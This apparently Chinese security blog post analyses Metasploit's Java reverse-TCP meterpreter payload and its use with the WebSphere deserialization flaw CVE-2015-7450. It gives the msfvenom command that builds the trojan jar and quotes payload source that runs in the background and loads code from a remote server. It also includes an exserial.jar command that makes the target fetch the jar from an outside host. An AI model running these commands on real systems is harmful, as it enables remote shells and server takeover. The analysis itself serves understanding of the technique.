Metasploit中的JAVA反向TCP做法的研究

在研究CVE-2015-7450这个JAVA反序列化漏洞时,面临着一个问题:在WebSphere中,该漏洞仅可以执行命令,但是不能回显执行结果。

遇到这种漏洞,通常的做法都是利用wget或者curl这样的命令来执行一个http请求,将需要的信息送出。

但是在我司,这些命令都没法用。原因是我司大量使用的是AIX操作系统,且是不含有任何功能增强的“裸版”。如何在这种环境下回显执行结果,就变得非常重要。

在Google搜索的过程中,发现了一个漏洞利用工程。在该工程的详细介绍中,提到了一种使用metasploit进行shell反弹的做法。研究了该做法后,对于其设计的巧妙深感佩服,遂介绍一下给大家。

1.什么是metasploit

metasploit是一套开源的漏洞利用工具集合和框架。正因为是一个框架,每个人都可以提交利用该框架写的漏洞利用模块。

久而久之,该模块库就越来越大,最终形成了一套工具库。关于metasploit在各个系统的安装,这里不再赘述。

2.metasploit中的JAVA反向TCP有什么用

通常,一个漏洞利用,可能会遇到两个讨厌的问题:

如前言中所述,我们可以执行某个命令,但是没办法感知命令执行的结果,于是就变成一个只能搞“破坏”,但是无法被利用起来的漏洞。

或者,我们通过漏洞可以植入木马,但是因为有防火墙,我们没办法主动和木马联络,因为一般防火墙的规则都是禁止入站,但是不防止出站。

遇到上述情况,就需要反向TCP连接。所谓反向TCP,就是由木马主动连接服务器,构成一条通路,之后再利用该通路来执行命令,观察输出。

3.metasploit中如何建立JAVA的反向TCP连接

首先,我们用以下命令来生成“木马”:

msfvenom --payload="java/meterpreter/reverse_tcp" LHOST=xxx.xxx.xxx.xxx LPORT=xxxx -t jar > java_meterpreter_reverse_tcp.jar

其中LHOST是木马回调的服务器的IP,LPORT是木马回调的服务器的端口。

然后我们利用metasploit来建立服务器

之后如果木马被执行,则会建立起一个连接

最后,就可以连接木马来执行命令了

4.metasploit中JAVA反向TCP的技术内幕

首先,我必须要对“木马”作者们表示由衷的敬佩。个人做了近10年正常项目,从来不曾考虑的一些技术细节,他们全都考虑了,比如:后台运行,加密代码,减小体积,动态更新,清扫痕迹等等,这其中有很多值得学习的地方。

就拿本例来说,首先一个值得学习的地方,就是JAVA如何后台运行。当我们用命令java -jar java_meterpreter_reverse_tcp.jar来执行木马时,我习惯性的等待并观察输出。

但是,令人匪夷所思的是,进程直接退出了。这可是一个纯JAVA程序,且并不是通过SHELL运行起来的,它是如何做到进入后台运行的??

通过分析其源码,我们可以看到:

Process proc = Runtime.getRuntime().exec(new String[]{

getJreExecutable("java"),

"-classpath",

tempDir.getAbsolutePath(),

clazz.getName()

});

// the input streams might cause the child process to block if

// we do not read or close them

proc.getInputStream().close();

proc.getErrorStream().close();

// give the process plenty of time to load the class if needed

Thread.sleep(2000);

其利用Runtime接口,又启动了一个进程来执行后期的代码,并预留了足够的时间等待第二个进程的初始化,之后让自己退出。多么巧妙的做法。

之后新启动的进程,会从远程的metasploit服务器获取运行期需要的类和资源,从而达到减小自身体积的目的。Bravo,Again.

if (url.startsWith("raw:"))

// for debugging: just use raw bytes from property file

in = new ByteArrayInputStream(url.substring(4).getBytes("ISO-8859-1"));

else if (url.startsWith("https:")) {

URLConnection uc = new URL(url).openConnection();

// load the trust manager via reflection, to avoid loading

// it when it is not needed (it requires Sun Java 1.4+)

Class.forName("metasploit.PayloadTrustManager").getMethod("useFor", new Class[]{URLConnection.class}).invoke(null, new Object[]{uc});

in = uc.getInputStream();

} else

in = new URL(url).openStream();

out = new ByteArrayOutputStream();

最终,通过加载到的类,建立和metasploit的连接并执行相关命令。

5.在反序列化中的应用

基本上,就是利用这个漏洞利用工程,将我们的木马上传到WebSphere,并开始起“发酵”过程。有一点需要注意,该命令中木马jar包参数是一个url地址:

java -jar exserial.jar ClassInject "http://myserver.com/java_meterpreter_reverse_tcp.jar" "metasploit.Payload" > demo3.ser

为什么是这样呢?因为想利用JAVA反序列化漏洞直接上传文件是非常困难的,因此,我们需要把“木马”放在一个服务器上,让WebSphere来取。

当然,用Apache就可以达成目的了。通过这一系列的操作,就可以反向执行命令了。

本文的目的,并不是手把手教你如何攻击。而是分析其工具背后的做法,涨涨见识。

*首发地址:tonylee.name 原文作者Tony Lee投递

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2016-02-16

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏FreeBuf

OLEOutlook利用:一封邮件绕过所有企业安全防控

在本文中,我会向大家展示如何通过Email将一个可执行文件嵌入到公司网络。伪装成一份Word文档,绕过防火墙,目前该问题还没有任何补丁发布! ? 今天早些时候,...

216100
来自专栏Linyb极客之路

web安全浅析

写这篇文章的初衷,主要由于自己所负责的项目有这方面的需求,就简要提一提web安全方面的一些知识 ? 一.web安全的兴起 web攻击技...

50650
来自专栏架构师小秘圈

互联网安全威胁及应对方案

作者:蒋海滔,阿里巴巴国际事业部,高级技术专家,爱好Java/JavaScript,长期关注高性能、并发编程以及Web安全。 来自:高可用架构(ID:ArchN...

41840
来自专栏实用工具入门教程

如何部署 MQTT 服务器

MQTT是一种机器到机器的消息传递协议,旨在为“物联网”设备提供轻量级的发布/订阅通信。Mosquitto是一种流行的MQTT服务器(或MQTT中的代理),具有...

2.4K40
来自专栏小樱的经验随笔

Kali Linux菜单中各工具功能大全

各工具kali官方简介(竖排):https://tools.kali.org/tools-listing 名称 类型 使用模式 功能 功能评价 dm...

2.7K90
来自专栏源哥的专栏

基于linux的嵌入IPv4协议栈的内容过滤防火墙系统(8)-附录

0 通常用于分析操作系统。这一方法能够工作是因为在一些系统中“0”是无效端口,当你试图使用一种通常的闭合端口

9420
来自专栏小狼的世界

Fedora 11 的安装以及 LAMP环境的搭建(一)

最近,重新安装了一次系统,为了以后不再做无谓的重复查询的工作,特将本次安装及配置的过程记录下来,做为自己以后的一个参考,亦可以为想要安装 Fedora 桌面的同...

13130
来自专栏程序猿DD

研究consul的service mesh功能

来源:https://jeremy-xu.oschina.io/2018/07/%E7%A0%94%E7%A9%B6consul%E7%9A%84service...

26930
来自专栏阮一峰的网络日志

如何验证 Email 地址:SMTP 协议入门教程

Email 是最常用的用户识别手段。 开发者常常需要验证邮箱的真实性。一般的方法是,注册时向该邮箱发出一封验证邮件,要求用户点击邮件里面的链接。 ? 但是很多时...

72930
来自专栏安智客

Keystore的技术演进之路

Android提供的keystore功能发展历程伴随着Android版本不断演进。 ? 从 Android 6.0 之前的版本中,Android已有一个非常简单...

51050

扫码关注云+社区

领取腾讯云代金券